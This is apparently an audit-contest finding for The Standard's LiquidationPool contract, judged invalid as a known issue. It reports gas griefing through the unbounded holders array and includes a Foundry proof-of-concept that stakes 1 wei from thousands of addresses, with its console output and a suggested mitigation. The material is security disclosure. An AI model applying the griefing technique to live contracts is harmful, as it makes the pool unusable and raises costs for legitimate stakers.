The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

Gas griefing in `LiquidationPool::holders` array

juan

Summary

The holders array in the LiquidationPool can be maliciously appended to (repeatedly), leading to unusable gas cost for various functions.

Vulnerability Details

NOTE: While in the contest README it does state the known issue of:

No length check for number of stake holders. This could cause a problem throughout contract if there are a high number of stakers

I have still reported this, along with a proof of concept to show how this issue should not be ignored as a griefer can completely disrupt the usability of the liquidation pool contract.

In LiquidationPool::addUniqueHolder, a unique holder is added to the holders array.
This private function is called by the external function increasePosition which can be called by anyone.

A malicious user can call increasePosition with 1 wei worth of TST (or EUROs) repeatedly from new accounts, adding a new member to holders each time.

Various functions in the LiquidationPool contract like distributeFees(), distributeAssets(), getStakeTotal() all involve a for-loop which iterates across and reads from each index of the holders array.

Impact

Since holders is an array stored in storage, it is gas-expensive to read from it.

The gas cost of transacting the previously mentioned functions (distributeFees(), distributeAssets(), etc) can be made extremely large, griefing the smart contract.

There is no way to reduce the array size, unless the griefer calls decreasePosition() from each account to delete the member from the holders array, so this grief is permanent and can increase in severity over time.

Proof Of Concept

The following proof of concept shows how a griefer can maliciously generate addresses and use them to stake in the liquidationPool.

It then shows how the gas cost for the next new users who call increasePosition() would be extremely unusable.

Note that this only displays the high gas costs in increasePosition(), but doesn't show the high gas costs that would be associated with distributeFees(), distributeAssets(), etc.

Setting Up
contract Testing is Test {
ERC20Mock TST;
MockLiquidationPool liquidationPool;
uint256 TST_TO_GIVE = 1;
uint256 EUROS_TO_GIVE = 0;
function setUp() public {
TST = new ERC20Mock("TST", "TST");
liquidationPool = new MockLiquidationPool(address(TST), makeAddr("EUROs"), makeAddr("eurUSD"), makeAddr("tokenManager"));
}
}

For MockLiquidationPool, slightly adjust LiquidationPool::increasePosition() by commenting out 2 lines:

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
//consolidatePendingStakes();
//ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
Test code
function testGriefHolders() public {
uint256 startGasLeft = gasleft();
address staker;
​
// Griefer creates 10k new accounts, stakes into liquidationPool with each account
for (uint256 i = 1; i <= 4000; ++i) {
staker = address(uint160(i));
TST.mint(staker, 1 wei);
​
vm.startPrank(staker);
TST.approve(address(liquidationPool), 1 wei);
liquidationPool.increasePosition(TST_TO_GIVE, EUROS_TO_GIVE);
​
}
​
uint256 endGasLeft = gasleft();
​
// Example new staker
staker = makeAddr("sadVictim");
TST.mint(staker, 1 wei);
​
// New staker stakes into liquidationPool
vm.startPrank(staker);
TST.approve(address(liquidationPool), 1 wei);
liquidationPool.increasePosition(TST_TO_GIVE, EUROS_TO_GIVE);
​
uint256 endGasLeft2 = gasleft();
​
// Printing results to console
console2.log("For griefer, it took %s gas", startGasLeft - endGasLeft);
console2.log("For next stakers, it will cost at least %s gas", endGasLeft - endGasLeft2);
​
uint256 GAS_COST = 31;
uint256 nextParticipantPays = GAS_COST*(endGasLeft-endGasLeft2);
uint256 nextParticipantPays_dollars = GAS_COST*(endGasLeft-endGasLeft2) * 2000 / 1e9;
​
console2.log("Griefer paid %s ether", GAS_COST*(startGasLeft-endGasLeft)/1e9);
console2.log("Next staker pays %s Gwei in gas fees (~$%s)", nextParticipantPays, nextParticipantPays_dollars);
}
Console Output
Running 1 test for test/Test.t.sol:Testing
[PASS] testGriefHolders() (gas: 4893930438)
Logs:
For griefer, it took 5050786513 gas
For next stakers, it will cost at least 2376503 gas
Griefer paid 156 ether
Next staker pays 73671593 Gwei in gas fees (~$147)
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.80s

Tools Used

Manual Review

Foundry (for Proof of Code)

Recommended Mitigation

It is recommended to use a mapping to keep track of the holders, rather than an array. This reduces the gas cost since mappings do not need to be iterated to find a certain piece of data, while arrays do.

However if using an array is preferred, then consider having a higher minimum requirement for creating a new position in increasePosition (currently 1 wei is the requirement) as it would increase the cost required for griefing, reducing the chance of griefing.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

informational/invalid

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.